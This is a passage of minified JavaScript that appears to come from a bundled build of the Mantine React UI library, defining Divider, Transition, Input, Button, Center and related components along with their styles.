el(e))t.indexOf(n)<0&&Cg.call(e,n)&&(r[n]=e[n]);return r};const QP={orientation:"horizontal",size:"xs",labelPosition:"left",variant:"solid"},Ng=$.exports.forwardRef((e,t)=>{const r=he("Divider",QP,e),{className:n,color:o,orientation:i,size:l,label:a,labelPosition:s,labelProps:u,variant:p,styles:m,classNames:d,unstyled:g}=r,h=YP(r,["className","color","orientation","size","label","labelPosition","labelProps","variant","styles","classNames","unstyled"]),{classes:v,cx:x}=VP({color:o},{classNames:d,styles:m,unstyled:g,name:"Divider",variant:p,size:l}),f=i==="vertical",c=i==="horizontal",y=!!a&&c,S=!(u!=null&&u.color);return P(me,{...md({ref:t,className:x(v.root,{[v.vertical]:f,[v.horizontal]:c,[v.withLabel]:y},n),role:"separator"},h),children:y&&P(xr,{...GP(md({},u),{size:(u==null?void 0:u.size)||"xs",mt:w(2),className:x(v.label,v[s],{[v.labelDefaultStyles]:S})}),children:a})})});Ng.displayName="@mantine/core/Divider";var XP=Object.defineProperty,yd=Object.getOwnPropertySymbols,KP=Object.prototype.hasOwnProperty,ZP=Object.prototype.propertyIsEnumerable,gd=(e,t,r)=>t in e?XP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Lr=(e,t)=>{for(var r in t||(t={}))KP.call(t,r)&&gd(e,r,t[r]);if(yd)for(var r of yd(t))ZP.call(t,r)&&gd(e,r,t[r]);return e};const vd={entering:"in",entered:"in",exiting:"out",exited:"out","pre-exiting":"out","pre-entering":"out"};function JP({transition:e,state:t,duration:r,timingFunction:n}){const o={transitionDuration:`${r}ms`,transitionTimingFunction:n};return typeof e=="string"?e in Uo?Lr(Lr(Lr({transitionProperty:Uo[e].transitionProperty},o),Uo[e].common),Uo[e][vd[t]]):null:Lr(Lr(Lr({transitionProperty:e.transitionProperty},o),e.common),e[vd[t]])}function qP({duration:e,exitDuration:t,timingFunction:r,mounted:n,onEnter:o,onExit:i,onEntered:l,onExited:a}){const s=vr(),u=ug(),p=s.respectReducedMotion?u:!1,[m,d]=$.exports.useState(n?"entered":"exited");let g=p?0:e;const h=$.exports.useRef(-1),v=x=>{const f=x?o:i,c=x?l:a;if(d(x?"pre-entering":"pre-exiting"),window.clearTimeout(h.current),g=p?0:x?e:t,g===0)typeof f=="function"&&f(),typeof c=="function"&&c(),d(x?"entered":"exited");else{const y=window.setTimeout(()=>{typeof f=="function"&&f(),d(x?"entering":"exiting")},10);h.current=window.setTimeout(()=>{window.clearTimeout(y),typeof c=="function"&&c(),d(x?"entered":"exited")},g)}};return SS(()=>{v(n)},[n]),$.exports.useEffect(()=>()=>window.clearTimeout(h.current),[]),{transitionDuration:g,transitionStatus:m,transitionTimingFunction:r||s.transitionTimingFunction}}function Tg({keepMounted:e,transition:t,duration:r=250,exitDuration:n=r,mounted:o,children:i,timingFunction:l,onExit:a,onEntered:s,onEnter:u,onExited:p}){const{transitionDuration:m,transitionStatus:d,transitionTimingFunction:g}=qP({mounted:o,exitDuration:n,duration:r,timingFunction:l,onExit:a,onEntered:s,onEnter:u,onExited:p});return m===0?o?P(Hi,{children:i({})}):e?i({display:"none"}):null:d==="exited"?e?i({display:"none"}):null:P(Hi,{children:i(JP({transition:t,duration:m,state:d,timingFunction:g}))})}Tg.displayName="@mantine/core/Transition";var eO=Se((e,t,{size:r})=>({label:{display:"inline-block",fontSize:V({size:r,sizes:e.fontSizes}),fontWeight:500,color:e.colorScheme==="dark"?e.colors.dark[0]:e.colors.gray[9],wordBreak:"break-word",cursor:"default",WebkitTapHighlightColor:"transparent"},required:{color:e.fn.variant({variant:"filled",color:"red"}).background}}));const tO=eO;var rO=Object.defineProperty,tl=Object.getOwnPropertySymbols,zg=Object.prototype.hasOwnProperty,Rg=Object.prototype.propertyIsEnumerable,hd=(e,t,r)=>t in e?rO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,nO=(e,t)=>{for(var r in t||(t={}))zg.call(t,r)&&hd(e,r,t[r]);if(tl)for(var r of tl(t))Rg.call(t,r)&&hd(e,r,t[r]);return e},oO=(e,t)=>{var r={};for(var n in e)zg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&tl)for(var n of tl(e))t.indexOf(n)<0&&Rg.call(e,n)&&(r[n]=e[n]);return r};const iO={labelElement:"label",size:"sm"},qu=$.exports.forwardRef((e,t)=>{const r=he("InputLabel",iO,e),{labelElement:n,children:o,required:i,size:l,classNames:a,styles:s,unstyled:u,className:p,htmlFor:m,__staticSelector:d,variant:g,onMouseDown:h}=r,v=oO(r,["labelElement","children","required","size","classNames","styles","unstyled","className","htmlFor","__staticSelector","variant","onMouseDown"]),{classes:x,cx:f}=tO(null,{name:["InputWrapper",d],classNames:a,styles:s,unstyled:u,variant:g,size:l});return Z(me,{...nO({component:n,ref:t,className:f(x.label,p),htmlFor:n==="label"?m:void 0,onMouseDown:c=>{h==null||h(c),!c.defaultPrevented&&c.detail>1&&c.preventDefault()}},v),children:[o,i&&P("span",{className:x.required,"aria-hidden":!0,children:" *"})]})});qu.displayName="@mantine/core/InputLabel";var lO=Se((e,t,{size:r})=>({error:{wordBreak:"break-word",color:e.fn.variant({variant:"filled",color:"red"}).background,fontSize:`calc(${V({size:r,sizes:e.fontSizes})} - ${w(2)})`,lineHeight:1.2,display:"block"}}));const aO=lO;var sO=Object.defineProperty,rl=Object.getOwnPropertySymbols,Dg=Object.prototype.hasOwnProperty,jg=Object.prototype.propertyIsEnumerable,wd=(e,t,r)=>t in e?sO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,uO=(e,t)=>{for(var r in t||(t={}))Dg.call(t,r)&&wd(e,r,t[r]);if(rl)for(var r of rl(t))jg.call(t,r)&&wd(e,r,t[r]);return e},cO=(e,t)=>{var r={};for(var n in e)Dg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&rl)for(var n of rl(e))t.indexOf(n)<0&&jg.call(e,n)&&(r[n]=e[n]);return r};const fO={size:"sm"},ec=$.exports.forwardRef((e,t)=>{const r=he("InputError",fO,e),{children:n,className:o,classNames:i,styles:l,unstyled:a,size:s,__staticSelector:u,variant:p}=r,m=cO(r,["children","className","classNames","styles","unstyled","size","__staticSelector","variant"]),{classes:d,cx:g}=aO(null,{name:["InputWrapper",u],classNames:i,styles:l,unstyled:a,variant:p,size:s});return P(xr,{...uO({className:g(d.error,o),ref:t},m),children:n})});ec.displayName="@mantine/core/InputError";var dO=Se((e,t,{size:r})=>({description:{wordBreak:"break-word",color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],fontSize:`calc(${V({size:r,sizes:e.fontSizes})} - ${w(2)})`,lineHeight:1.2,display:"block"}}));const pO=dO;var mO=Object.defineProperty,nl=Object.getOwnPropertySymbols,Ig=Object.prototype.hasOwnProperty,Mg=Object.prototype.propertyIsEnumerable,_d=(e,t,r)=>t in e?mO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,yO=(e,t)=>{for(var r in t||(t={}))Ig.call(t,r)&&_d(e,r,t[r]);if(nl)for(var r of nl(t))Mg.call(t,r)&&_d(e,r,t[r]);return e},gO=(e,t)=>{var r={};for(var n in e)Ig.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&nl)for(var n of nl(e))t.indexOf(n)<0&&Mg.call(e,n)&&(r[n]=e[n]);return r};const vO={size:"sm"},tc=$.exports.forwardRef((e,t)=>{const r=he("InputDescription",vO,e),{children:n,className:o,classNames:i,styles:l,unstyled:a,size:s,__staticSelector:u,variant:p}=r,m=gO(r,["children","className","classNames","styles","unstyled","size","__staticSelector","variant"]),{classes:d,cx:g}=pO(null,{name:["InputWrapper",u],classNames:i,styles:l,unstyled:a,variant:p,size:s});return P(xr,{...yO({color:"dimmed",className:g(d.description,o),ref:t,unstyled:a},m),children:n})});tc.displayName="@mantine/core/InputDescription";const Lg=$.exports.createContext({offsetBottom:!1,offsetTop:!1,describedBy:void 0}),hO=Lg.Provider,wO=()=>$.exports.useContext(Lg);function _O(e,{hasDescription:t,hasError:r}){const n=e.findIndex(s=>s==="input"),o=e[n-1],i=e[n+1];return{offsetBottom:t&&i==="description"||r&&i==="error",offsetTop:t&&o==="description"||r&&o==="error"}}var SO=Object.defineProperty,PO=Object.defineProperties,OO=Object.getOwnPropertyDescriptors,Sd=Object.getOwnPropertySymbols,xO=Object.prototype.hasOwnProperty,$O=Object.prototype.propertyIsEnumerable,Pd=(e,t,r)=>t in e?SO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,kO=(e,t)=>{for(var r in t||(t={}))xO.call(t,r)&&Pd(e,r,t[r]);if(Sd)for(var r of Sd(t))$O.call(t,r)&&Pd(e,r,t[r]);return e},bO=(e,t)=>PO(e,OO(t)),EO=Se(e=>({root:bO(kO({},e.fn.fontStyles()),{lineHeight:e.lineHeight})}));const CO=EO;var NO=Object.defineProperty,TO=Object.defineProperties,zO=Object.getOwnPropertyDescriptors,ol=Object.getOwnPropertySymbols,Fg=Object.prototype.hasOwnProperty,Ag=Object.prototype.propertyIsEnumerable,Od=(e,t,r)=>t in e?NO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Xt=(e,t)=>{for(var r in t||(t={}))Fg.call(t,r)&&Od(e,r,t[r]);if(ol)for(var r of ol(t))Ag.call(t,r)&&Od(e,r,t[r]);return e},xd=(e,t)=>TO(e,zO(t)),RO=(e,t)=>{var r={};for(var n in e)Fg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ol)for(var n of ol(e))t.indexOf(n)<0&&Ag.call(e,n)&&(r[n]=e[n]);return r};const DO={labelElement:"label",size:"sm",inputContainer:e=>e,inputWrapperOrder:["label","description","input","error"]},Wg=$.exports.forwardRef((e,t)=>{const r=he("InputWrapper",DO,e),{className:n,label:o,children:i,required:l,id:a,error:s,description:u,labelElement:p,labelProps:m,descriptionProps:d,errorProps:g,classNames:h,styles:v,size:x,inputContainer:f,__staticSelector:c,unstyled:y,inputWrapperOrder:S,withAsterisk:k,variant:b}=r,O=RO(r,["className","label","children","required","id","error","description","labelElement","labelProps","descriptionProps","errorProps","classNames","styles","size","inputContainer","__staticSelector","unstyled","inputWrapperOrder","withAsterisk","variant"]),{classes:N,cx:H}=CO(null,{classNames:h,styles:v,name:["InputWrapper",c],unstyled:y,variant:b,size:x}),R={classNames:h,styles:v,unstyled:y,size:x,variant:b,__staticSelector:c},I=typeof k=="boolean"?k:l,G=a?`${a}-error`:g==null?void 0:g.id,Y=a?`${a}-description`:d==null?void 0:d.id,re=`${!!s&&typeof s!="boolean"?G:""} ${u?Y:""}`,ze=re.trim().length>0?re.trim():void 0,ne=o&&P(qu,{...Xt(Xt({key:"label",labelElement:p,id:a?`${a}-label`:void 0,htmlFor:a,required:I},R),m),children:o}),T=u&&P(tc,{...xd(Xt(Xt({key:"description"},d),R),{size:(d==null?void 0:d.size)||R.size,id:(d==null?void 0:d.id)||Y}),children:u}),F=P($.exports.Fragment,{children:f(i)},"input"),M=typeof s!="boolean"&&s&&P(ec,{...xd(Xt(Xt({},g),R),{size:(g==null?void 0:g.size)||R.size,key:"error",id:(g==null?void 0:g.id)||G}),children:s}),B=S.map(_=>{switch(_){case"label":return ne;case"input":return F;case"description":return T;case"error":return M;default:return null}});return P(hO,{value:Xt({describedBy:ze},_O(S,{hasDescription:!!T,hasError:!!M})),children:P(me,{...Xt({className:H(N.root,n),ref:t},O),children:B})})});Wg.displayName="@mantine/core/InputWrapper";var jO=Object.defineProperty,il=Object.getOwnPropertySymbols,Vg=Object.prototype.hasOwnProperty,Hg=Object.prototype.propertyIsEnumerable,$d=(e,t,r)=>t in e?jO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,IO=(e,t)=>{for(var r in t||(t={}))Vg.call(t,r)&&$d(e,r,t[r]);if(il)for(var r of il(t))Hg.call(t,r)&&$d(e,r,t[r]);return e},MO=(e,t)=>{var r={};for(var n in e)Vg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&il)for(var n of il(e))t.indexOf(n)<0&&Hg.call(e,n)&&(r[n]=e[n]);return r};const LO={},Bg=$.exports.forwardRef((e,t)=>{const r=he("InputPlaceholder",LO,e),{sx:n}=r,o=MO(r,["sx"]);return P(me,{...IO({component:"span",sx:[i=>i.fn.placeholderStyles(),...Dy(n)],ref:t},o)})});Bg.displayName="@mantine/core/InputPlaceholder";var FO=Object.defineProperty,AO=Object.defineProperties,WO=Object.getOwnPropertyDescriptors,kd=Object.getOwnPropertySymbols,VO=Object.prototype.hasOwnProperty,HO=Object.prototype.propertyIsEnumerable,bd=(e,t,r)=>t in e?FO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Xo=(e,t)=>{for(var r in t||(t={}))VO.call(t,r)&&bd(e,r,t[r]);if(kd)for(var r of kd(t))HO.call(t,r)&&bd(e,r,t[r]);return e},Ma=(e,t)=>AO(e,WO(t));const Be={xs:w(30),sm:w(36),md:w(42),lg:w(50),xl:w(60)},BO=["default","filled","unstyled"];function UO({theme:e,variant:t}){return BO.includes(t)?t==="default"?{border:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4]}`,backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.white,transition:"border-color 100ms ease","&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:t==="filled"?{border:`${w(1)} solid transparent`,backgroundColor:e.colorScheme==="dark"?e.colors.dark[5]:e.colors.gray[1],"&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:{borderWidth:0,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,backgroundColor:"transparent",minHeight:w(28),outline:0,"&:focus, &:focus-within":{outline:"none",borderColor:"transparent"},"&:disabled":{backgroundColor:"transparent","&:focus, &:focus-within":{outline:"none",borderColor:"transparent"}}}:null}var GO=Se((e,{multiline:t,radius:r,invalid:n,rightSectionWidth:o,withRightSection:i,iconWidth:l,offsetBottom:a,offsetTop:s,pointer:u},{variant:p,size:m})=>{const d=e.fn.variant({variant:"filled",color:"red"}).background,g=p==="default"||p==="filled"?{minHeight:V({size:m,sizes:Be}),paddingLeft:`calc(${V({size:m,sizes:Be})} / 3)`,paddingRight:i?o||V({size:m,sizes:Be}):`calc(${V({size:m,sizes:Be})} / 3)`,borderRadius:e.fn.radius(r)}:null;return{wrapper:{position:"relative",marginTop:s?`calc(${e.spacing.xs} / 2)`:void 0,marginBottom:a?`calc(${e.spacing.xs} / 2)`:void 0},input:Ma(Xo(Xo(Ma(Xo({},e.fn.fontStyles()),{height:t?p==="unstyled"?void 0:"auto":V({size:m,sizes:Be}),WebkitTapHighlightColor:"transparent",lineHeight:t?e.lineHeight:`calc(${V({size:m,sizes:Be})} - ${w(2)})`,appearance:"none",resize:"none",boxSizing:"border-box",fontSize:V({size:m,sizes:e.fontSizes}),width:"100%",color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,display:"block",textAlign:"left",cursor:u?"pointer":void 0}),UO({theme:e,variant:p})),g),{"&:disabled, &[data-disabled]":{backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},"&[data-invalid]":{color:d,borderColor:d,"&::placeholder":{opacity:1,color:d}},"&[data-with-icon]":{paddingLeft:typeof l=="number"?w(l):V({size:m,sizes:Be})},"&::placeholder":Ma(Xo({},e.fn.placeholderStyles()),{opacity:1}),"&::-webkit-inner-spin-button, &::-webkit-outer-spin-button, &::-webkit-search-decoration, &::-webkit-search-cancel-button, &::-webkit-search-results-button, &::-webkit-search-results-decoration":{appearance:"none"},"&[type=number]":{MozAppearance:"textfield"}}),icon:{pointerEvents:"none",position:"absolute",zIndex:1,left:0,top:0,bottom:0,display:"flex",alignItems:"center",justifyContent:"center",width:l?w(l):V({size:m,sizes:Be}),color:n?e.colors.red[e.colorScheme==="dark"?6:7]:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[5]},rightSection:{position:"absolute",top:0,bottom:0,right:0,display:"flex",alignItems:"center",justifyContent:"center",width:o||V({size:m,sizes:Be})}}}),YO=Object.defineProperty,QO=Object.defineProperties,XO=Object.getOwnPropertyDescriptors,ll=Object.getOwnPropertySymbols,Ug=Object.prototype.hasOwnProperty,Gg=Object.prototype.propertyIsEnumerable,Ed=(e,t,r)=>t in e?YO(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ko=(e,t)=>{for(var r in t||(t={}))Ug.call(t,r)&&Ed(e,r,t[r]);if(ll)for(var r of ll(t))Gg.call(t,r)&&Ed(e,r,t[r]);return e},Cd=(e,t)=>QO(e,XO(t)),KO=(e,t)=>{var r={};for(var n in e)Ug.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ll)for(var n of ll(e))t.indexOf(n)<0&&Gg.call(e,n)&&(r[n]=e[n]);return r};const ZO={size:"sm",variant:"default"},jr=$.exports.forwardRef((e,t)=>{const r=he("Input",ZO,e),{className:n,error:o,required:i,disabled:l,variant:a,icon:s,style:u,rightSectionWidth:p,iconWidth:m,rightSection:d,rightSectionProps:g,radius:h,size:v,wrapperProps:x,classNames:f,styles:c,__staticSelector:y,multiline:S,sx:k,unstyled:b,pointer:O}=r,N=KO(r,["className","error","required","disabled","variant","icon","style","rightSectionWidth","iconWidth","rightSection","rightSectionProps","radius","size","wrapperProps","classNames","styles","__staticSelector","multiline","sx","unstyled","pointer"]),{offsetBottom:H,offsetTop:R,describedBy:I}=wO(),{classes:G,cx:Y}=GO({radius:h,multiline:S,invalid:!!o,rightSectionWidth:p?w(p):void 0,iconWidth:m,withRightSection:!!d,offsetBottom:H,offsetTop:R,pointer:O},{classNames:f,styles:c,name:["Input",y],unstyled:b,variant:a,size:v}),{systemStyles:ce,rest:re}=Ju(N);return Z(me,{...Ko(Ko({className:Y(G.wrapper,n),sx:k,style:u},ce),x),children:[s&&P("div",{className:G.icon,children:s}),P(me,{...Cd(Ko({component:"input"},re),{ref:t,required:i,"aria-invalid":!!o,"aria-describedby":I,disabled:l,"data-disabled":l||void 0,"data-with-icon":!!s||void 0,"data-invalid":!!o||void 0,className:G.input})}),d&&P("div",{...Cd(Ko({},g),{className:G.rightSection}),children:d})]})});jr.displayName="@mantine/core/Input";jr.Wrapper=Wg;jr.Label=qu;jr.Description=tc;jr.Error=ec;jr.Placeholder=Bg;const Vs=jr;var JO=Se((e,{orientation:t,buttonBorderWidth:r})=>({root:{display:"flex",flexDirection:t==="vertical"?"column":"row","& [data-button]":{"&:first-of-type":{borderBottomRightRadius:0,[t==="vertical"?"borderBottomLeftRadius":"borderTopRightRadius"]:0,[t==="vertical"?"borderBottomWidth":"borderRightWidth"]:`calc(${w(r)} / 2)`},"&:last-of-type":{borderTopLeftRadius:0,[t==="vertical"?"borderTopRightRadius":"borderBottomLeftRadius"]:0,[t==="vertical"?"borderTopWidth":"borderLeftWidth"]:`calc(${w(r)} / 2)`},"&:not(:first-of-type):not(:last-of-type)":{borderRadius:0,[t==="vertical"?"borderTopWidth":"borderLeftWidth"]:`calc(${w(r)} / 2)`,[t==="vertical"?"borderBottomWidth":"borderRightWidth"]:`calc(${w(r)} / 2)`},"& + [data-button]":{[t==="vertical"?"marginTop":"marginLeft"]:`calc(${r} * -1)`,"@media (min-resolution: 192dpi)":{[t==="vertical"?"marginTop":"marginLeft"]:0}}}}}));const qO=JO;var ex=Object.defineProperty,al=Object.getOwnPropertySymbols,Yg=Object.prototype.hasOwnProperty,Qg=Object.prototype.propertyIsEnumerable,Nd=(e,t,r)=>t in e?ex(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tx=(e,t)=>{for(var r in t||(t={}))Yg.call(t,r)&&Nd(e,r,t[r]);if(al)for(var r of al(t))Qg.call(t,r)&&Nd(e,r,t[r]);return e},rx=(e,t)=>{var r={};for(var n in e)Yg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&al)for(var n of al(e))t.indexOf(n)<0&&Qg.call(e,n)&&(r[n]=e[n]);return r};const nx={orientation:"horizontal",buttonBorderWidth:1},Xg=$.exports.forwardRef((e,t)=>{const r=he("ButtonGroup",nx,e),{className:n,orientation:o,buttonBorderWidth:i,unstyled:l}=r,a=rx(r,["className","orientation","buttonBorderWidth","unstyled"]),{classes:s,cx:u}=qO({orientation:o,buttonBorderWidth:i},{name:"ButtonGroup",unstyled:l});return P(me,{...tx({className:u(s.root,n),ref:t},a)})});Xg.displayName="@mantine/core/ButtonGroup";var ox=Object.defineProperty,ix=Object.defineProperties,lx=Object.getOwnPropertyDescriptors,Td=Object.getOwnPropertySymbols,ax=Object.prototype.hasOwnProperty,sx=Object.prototype.propertyIsEnumerable,zd=(e,t,r)=>t in e?ox(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,qt=(e,t)=>{for(var r in t||(t={}))ax.call(t,r)&&zd(e,r,t[r]);if(Td)for(var r of Td(t))sx.call(t,r)&&zd(e,r,t[r]);return e},yi=(e,t)=>ix(e,lx(t));const ux=["filled","outline","light","white","default","subtle","gradient"],Hs={xs:{height:Be.xs,paddingLeft:w(14),paddingRight:w(14)},sm:{height:Be.sm,paddingLeft:w(18),paddingRight:w(18)},md:{height:Be.md,paddingLeft:w(22),paddingRight:w(22)},lg:{height:Be.lg,paddingLeft:w(26),paddingRight:w(26)},xl:{height:Be.xl,paddingLeft:w(32),paddingRight:w(32)},"compact-xs":{height:w(22),paddingLeft:w(7),paddingRight:w(7)},"compact-sm":{height:w(26),paddingLeft:w(8),paddingRight:w(8)},"compact-md":{height:w(30),paddingLeft:w(10),paddingRight:w(10)},"compact-lg":{height:w(34),paddingLeft:w(12),paddingRight:w(12)},"compact-xl":{height:w(40),paddingLeft:w(14),paddingRight:w(14)}};function cx({compact:e,size:t,withLeftIcon:r,withRightIcon:n}){if(e)return Hs[`compact-${t}`];const o=Hs[t];return o?yi(qt({},o),{paddingLeft:r?`calc(${o.paddingLeft} / 1.5)`:o.paddingLeft,paddingRight:n?`calc(${o.paddingRight} / 1.5)`:o.paddingRight}):{}}const fx=e=>({display:e?"block":"inline-block",width:e?"100%":"auto"});function dx({variant:e,theme:t,color:r,gradient:n}){if(!ux.includes(e))return null;const o=t.fn.variant({color:r,variant:e,gradient:n});return e==="gradient"?qt({border:0,backgroundImage:o.background,color:o.color},t.fn.hover({backgroundSize:"200%"})):{border:`${w(1)} solid ${o.border}`,backgroundColor:o.background,color:o.color,"&:not([data-disabled])":t.fn.hover({backgroundColor:o.hover})}}var px=Se((e,{radius:t,fullWidth:r,compact:n,withLeftIcon:o,withRightIcon:i,color:l,gradient:a},{variant:s,size:u})=>({root:yi(qt(yi(qt(qt(qt(qt({},cx({compact:n,size:u,withLeftIcon:o,withRightIcon:i})),e.fn.fontStyles()),e.fn.focusStyles()),fx(r)),{borderRadius:e.fn.radius(t),fontWeight:600,position:"relative",lineHeight:1,fontSize:V({size:u,sizes:e.fontSizes}),userSelect:"none",cursor:"pointer"}),dx({variant:s,theme:e,color:l,gradient:a})),{"&:active":e.activeStyles,"&:disabled, &[data-disabled]":{borderColor:"transparent",backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],color:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[5],cursor:"not-allowed",backgroundImage:"none",pointerEvents:"none","&:active":{transform:"none"}},"&[data-loading]":{pointerEvents:"none","&::before":yi(qt({content:'""'},e.fn.cover(w(-1))),{backgroundColor:e.colorScheme==="dark"?e.fn.rgba(e.colors.dark[7],.5):"rgba(255, 255, 255, .5)",borderRadius:e.fn.radius(t),cursor:"not-allowed"})}}),icon:{display:"flex",alignItems:"center"},leftIcon:{marginRight:e.spacing.xs},rightIcon:{marginLeft:e.spacing.xs},centerLoader:{position:"absolute",left:"50%",transform:"translateX(-50%)",opacity:.5},inner:{display:"flex",alignItems:"center",justifyContent:"center",height:"100%",overflow:"visible"},label:{whiteSpace:"nowrap",height:"100%",overflow:"hidden",display:"flex",alignItems:"center"}}));const mx=px;var yx=Object.defineProperty,sl=Object.getOwnPropertySymbols,Kg=Object.prototype.hasOwnProperty,Zg=Object.prototype.propertyIsEnumerable,Rd=(e,t,r)=>t in e?yx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Dd=(e,t)=>{for(var r in t||(t={}))Kg.call(t,r)&&Rd(e,r,t[r]);if(sl)for(var r of sl(t))Zg.call(t,r)&&Rd(e,r,t[r]);return e},gx=(e,t)=>{var r={};for(var n in e)Kg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&sl)for(var n of sl(e))t.indexOf(n)<0&&Zg.call(e,n)&&(r[n]=e[n]);return r};const vx={size:"sm",type:"button",variant:"filled",loaderPosition:"left"},rc=$.exports.forwardRef((e,t)=>{const r=he("Button",vx,e),{className:n,size:o,color:i,type:l,disabled:a,children:s,leftIcon:u,rightIcon:p,fullWidth:m,variant:d,radius:g,uppercase:h,compact:v,loading:x,loaderPosition:f,loaderProps:c,gradient:y,classNames:S,styles:k,unstyled:b}=r,O=gx(r,["className","size","color","type","disabled","children","leftIcon","rightIcon","fullWidth","variant","radius","uppercase","compact","loading","loaderPosition","loaderProps","gradient","classNames","styles","unstyled"]),{classes:N,cx:H,theme:R}=mx({radius:g,color:i,fullWidth:m,compact:v,gradient:y,withLeftIcon:!!u,withRightIcon:!!p},{name:"Button",unstyled:b,classNames:S,styles:k,variant:d,size:o}),I=R.fn.variant({color:i,variant:d}),G=P(xg,{...Dd({color:I.color,size:`calc(${V({size:o,sizes:Hs}).height} / 2)`},c)});return P(aP,{...Dd({className:H(N.root,n),type:l,disabled:a,"data-button":!0,"data-disabled":a||void 0,"data-loading":x||void 0,ref:t,unstyled:b},O),children:Z("div",{className:N.inner,children:[(u||x&&f==="left")&&P("span",{className:H(N.icon,N.leftIcon),children:x&&f==="left"?G:u}),x&&f==="center"&&P("span",{className:N.centerLoader,children:G}),P("span",{className:N.label,style:{textTransform:h?"uppercase":void 0},children:s}),(p||x&&f==="right")&&P("span",{className:H(N.icon,N.rightIcon),children:x&&f==="right"?G:p})]})})});rc.displayName="@mantine/core/Button";rc.Group=Xg;const jd=rc;var hx=Se((e,{inline:t})=>({root:{display:t?"inline-flex":"flex",alignItems:"center",justifyContent:"center"}}));const wx=hx;var _x=Object.defineProperty,ul=Object.getOwnPropertySymbols,Jg=Object.prototype.hasOwnProperty,qg=Object.prototype.propertyIsEnumerable,Id=(e,t,r)=>t in e?_x(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Sx=(e,t)=>{for(var r in t||(t={}))Jg.call(t,r)&&Id(e,r,t[r]);if(ul)for(var r of ul(t))qg.call(t,r)&&Id(e,r,t[r]);return e},Px=(e,t)=>{var r={};for(var n in e)Jg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ul)for(var n of ul(e))t.indexOf(n)<0&&qg.call(e,n)&&(r[n]=e[n]);return r};const ev=$.exports.forwardRef((e,t)=>{const r=he("Center",{},e),{inline:n,className:o,unstyled:i,variant:l}=r,a=Px(r,["inline","className","unstyled","variant"]),{classes:s,cx:u}=wx({inline:n},{name:"Center",unstyled:i,variant:l});return P(me,{...Sx({ref:t,className:u(s.root,o)},a)})});ev.displayName="@mantine/core/Center";const La=ev;var Ox=Object.defineProperty,xx=Object.defineProperties,$x=Object.getOwnPropertyDescriptors,Md=Object.getOwnPropertySymbols,kx=Object.prototype.hasOwnProperty,bx=Object.prototype.propertyIsEnumerable,Ld=(e,t,r)=>t in e?Ox(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ex=(e,t)=>{for(var r in t||(t={}))kx.call(t,r)&&Ld(e,r,t[r]);if(Md)for(var r of Md(t))bx.call(t,r)&&Ld(e,r,t[r]);return e},Cx=(e,t)=>xx(e,$x(t));const Fa={xs:w(16),sm:w(20),md:w(24),lg:w(30),xl:w(36)};var Nx=Se((e,{labelPosition:t},{size:r})=>({root:{},body:{display:"flex"},labelWrapper:Cx(Ex({},e.fn.fontStyles()),{display:"inline-flex",flexDirection:"column",WebkitTapHighlightColor:"transparent",fontSize:r in Fa?V({size:r,sizes:e.fontSizes}):void 0,lineHeight:r in Fa?V({size:r,sizes:Fa}):void 0,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,cursor:e.cursorType,order:t==="left"?1:2}),description:{marginTop:`calc(${e.spacing.xs} / 2)`,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm},error:{marginTop:`calc(${e.spacing.xs} / 2)`,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm},label:{cursor:e.cursorType,[t==="left"?"paddingRight":"paddingLeft"]:e.spacing.sm,"&[data-disabled]":{color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5]}}}));const Tx=Nx;var zx=Object.defineProperty,cl=Object.getOwnPropertySymbols,tv=Object.prototype.hasOwnProperty,rv=Object.prototype.propertyIsEnumerable,Fd=(e,t,r)=>t in e?zx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Rx=(e,t)=>{for(var r in t||(t={}))tv.call(t,r)&&Fd(e,r,t[r]);if(cl)for(var r of cl(t))rv.call(t,r)&&Fd(e,r,t[r]);return e},Dx=(e,t)=>{var r={};for(var n in e)tv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&cl)for(var n of 